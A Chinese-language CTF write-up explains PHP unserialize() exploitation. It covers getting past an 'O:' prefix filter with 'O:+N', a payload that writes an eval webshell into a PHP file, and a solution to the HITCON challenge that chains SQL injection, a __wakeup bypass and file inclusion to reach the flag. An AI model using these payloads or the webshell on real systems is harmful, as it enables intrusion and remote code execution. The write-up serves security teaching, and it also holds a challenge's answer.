漏洞源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class Template { public $cacheFile = '/tmp/cachefile'; public $template = '<div>Welcome back %s</div>'; public function __construct($data = null) { $data = $this->loadData($data); $this->render($data); } public function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; } public function createCache($file = null, $tpl = null) { $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); } public function render($data) { echo sprintf( $this->template, htmlspecialchars($data['name']) ); } public function __destruct() { $this->createCache(); } } new Template($_COOKIE['data']);
漏洞解析 我们可以发现这里有个unserialize
1 2 3 4 5 6 7 public function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; }
我们知道,$data是我们可控的,但是这里有过滤。 第一个条件, substr($data, 0, 2) !== 'O:'
截取前两个字符 它要求我们传入的不是对象 但是我们可以使用 数组值为对象来绕过 第二个条件,!preg_match('/O:\d:/', $data)
它要求我们传入的数据中不包含O:数字:
这种类型。这种的绕过方法是 假如为 O:1:… 我们替换为 O:+1:… 这样就轻松绕过了。 绕过了,但是我们怎么利用呢?我们看看这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 public $cacheFile = '/tmp/cachefile'; public $template = '<div>Welcome back %s</div>'; ..... ..... public function createCache($file = null, $tpl = null) { $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); } ..... public function __destruct() { $this->createCache(); }
我们可以知道在对象摧毁之前会调用createCache函数,而它会把一定的内容写进指定的文件路径。通过反序列化类变量是可控的,所以我们可以任意插入文件在任意位置。 最后的payload为:
1 a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}
CTF 题目源码 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 <?php include "config.php"; class HITCON{ public $method; public $args; public $conn; function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->__conn(); } function __conn() { global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { $sql = "DROP TABLE IF EXISTS users"; $this->__query($sql, $back=false); $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8"; $this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); mysql_query("SET sql_mode = 'strict_all_tables'"); } function __query($sql, $back=true) { $result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } } function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->__query($sql); if ( $obj != false ) { define('IN_FLAG', TRUE); $this->loadData($obj->role); } else { $this->__die("sorry!"); } } function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; } function __die($msg) { $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); } function __close() { mysql_close($this->conn); } function source() { highlight_file(__FILE__); } function __destruct() { $this->__conn(); if (in_array($this->method, array("login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->__die("What do you do?"); } $this->__close(); } function __wakeup() { foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); } } } class SoFun{ public $file='index.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } function __wakeup(){ $this-> file='index.php'; } } if(isset($_GET["data"])) { @unserialize($_GET["data"]); } else { new HITCON("source", array()); } ?>
config.php
1 2 3 4 5 6 7 8 //config.php <?php $db_host = 'localhost'; $db_name = 'test'; $db_user = 'root'; $db_pass = '123'; $DEBUG = 'xx'; ?>
flag.php
1 2 3 4 <?php !defined('IN_FLAG') && exit('Access Denied'); echo "flag{un3eri@liz3_i3_s0_fun}"; ?>
数据库:
CTF 题解 首先我们是无法直接访问flag.php文件的因为他做了判断:
1 2 3 4 <?php !defined('IN_FLAG') && exit('Access Denied'); echo "flag{un3eri@liz3_i3_s0_fun}"; ?>
如果要查看到flag的话我们需要defined('IN_FLAG')
否者就会执行exit('Access Denied')
我们来看看,login这个函数它设置了 IN_FLAF :
1 2 3 4 5 6 7 8 9 10 11 12 function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->__query($sql); if ( $obj != false ) { define('IN_FLAG', TRUE); $this->loadData($obj->role); } else { $this->__die("sorry!"); } }
但是我怎么调用到这个函数,而且确保$obj != false
呢?我们先继续看完这个函数,它会调用loadData($obj->role)
这个函数,role为数据库里的第3列从 __conn()函数重新定义的,则这里就是查询结果的第三列。
1 2 3 4 5 6 function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; }
我们发现loadData 函数也会进行反序列化,虽然有条件但是我们上面已说过破法。此时的$data是查询结果的第三列,我们可以用union select 来设置这个第三列。我们可控的是$username变量它来源于func_get_args()函数,该函数返回包含调用函数参数列表的数组,我们从哪里调用login函数呢?
在HINCON 类destruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method=’login’则可以调用login()函数,$this->method为类变量,反序列化可控。 $this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。我们还需要绕过一下` wakeup`因为它会把我们的参数全变小写。绕过方法后面写。 但是此时还是不知道怎么包含flag.php呀。我们看看:
1 2 3 4 5 6 7 8 9 10 11 12 class SoFun{ public $file='index.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } function __wakeup(){ $this-> file='index.php'; } }
这里有一个文件包含,我们序列化也可以控制 $file 但是我们需要绕过 __wakeup
方法是:
1 序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行
所以最后我们的payload为:
1 ?data=O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}
稍作分析:
先序列化了一个 HTITCON
让其调用 login函数
并且传参为:1 2 s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";} 也就是注入那里传入一个新的序列化对象,使其调用SoFun
然后就欧克可拿到flag了。